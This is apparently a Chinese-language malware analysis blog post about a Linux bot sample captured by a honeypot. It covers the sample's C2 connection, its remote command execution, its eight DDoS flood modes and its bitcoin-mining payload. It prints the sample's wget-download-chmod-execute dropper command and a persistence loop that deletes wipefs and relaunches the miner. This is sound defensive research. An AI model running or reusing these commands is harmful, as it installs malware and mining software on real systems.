MalwareMustDie lx样本分析
0x00 背景
蜜罐上捕获到wget
下载的样本,顺着网址一访问发现是用HttpFileServer v2.3k 299
国产软件搭建的http服务,隐约感觉这种软件会有溢出漏洞,但也没时间去看页面就访问不了了。可以证明其下载的恶意软件出自国人之手,VT上也还没有相关的检测:
该样本也是个被控端,接收主控端指令后可以system
执行,该样本执行了如下命令:
sh -c cd /bin;rm -rf uninstall* ;wget http://xx.xx.xx.xx:6892/uninstall;chmod 777 uninstall;sh uninstall
下载运行的脚本文件主要是循环检测运行netwrite文件:
while true;
do
pkill -9 wipefs;
rm -rf /bin/wipefs;
count=`ps -ef |grep netwrite |grep -v "grep" |wc -l`
if [ 0 == $count ]; then
cd /bin;./netwrite;
fi
sleep 60
done
该文件也就是常见的挖挖比特币:
样本逆向看了一下还是处于开发阶段,主要有接收指令执行命令和DOS功能。
0x01 连接主控端
样本先调用if_nameindex
查看是否有网,然后调用空函数CreateAutoRun
,所以应该还是开发阶段的程序。接下来又是很奇怪地使用两个函数来连接主控端并处理接收指令,对比了一下功能都是一样的,只是主控端的域名和端口不同,另外一个函数会是sleep 8分钟再去开线程连接主控端,域名端口如下:
o.xxxx.cn:21
www.xxxx.club:3065
从这域名注册信息也可以看出是很符合国内黑阔大佬的风格:
一旦连接成功后就会自报主机的release版本和其他信息:
0x02 接收指令
CmdShell
前4个字节比较为5后,后面的字符串便会传递给system
函数执行。
DealwithDDoS
其中主要有8个类型的DOS攻击,下面分析一下指令的结构和攻击的效果。
SYN_Flood
伪造的源端口每次会增加0x100。
UDP_Flood
向目的udp端口发送1024字节的X字符。
ICMP_Flood
和UDP_Flood类似,发送的udp数据包data大小为2048字节。
DNS_Flood
会生成随机的Name和Type对目的DNS服务器进行查询。
GET_Flood
需要手动添加\x00
截断ip和url;在url的后面会添加5个随机生成的字节。
POST_Flood
和GET_Flood类似,只是改成了POST。
FAST_Flood
GET_Flood without headers,只有Host Header。
TCP_Flood
完全没有header的GET_Flood。
StopFlag
在上述的Flood攻击中都会do-while地发送数据包,StopFlag就是用于停止攻击的指令:
0x03 总结
样本主要是开启新线程去执行指令,代码量有些重复分析起来也比较简单。新年伊始,也希望能够赶上自动化分析的脚步,真正做到MalwareMustDie。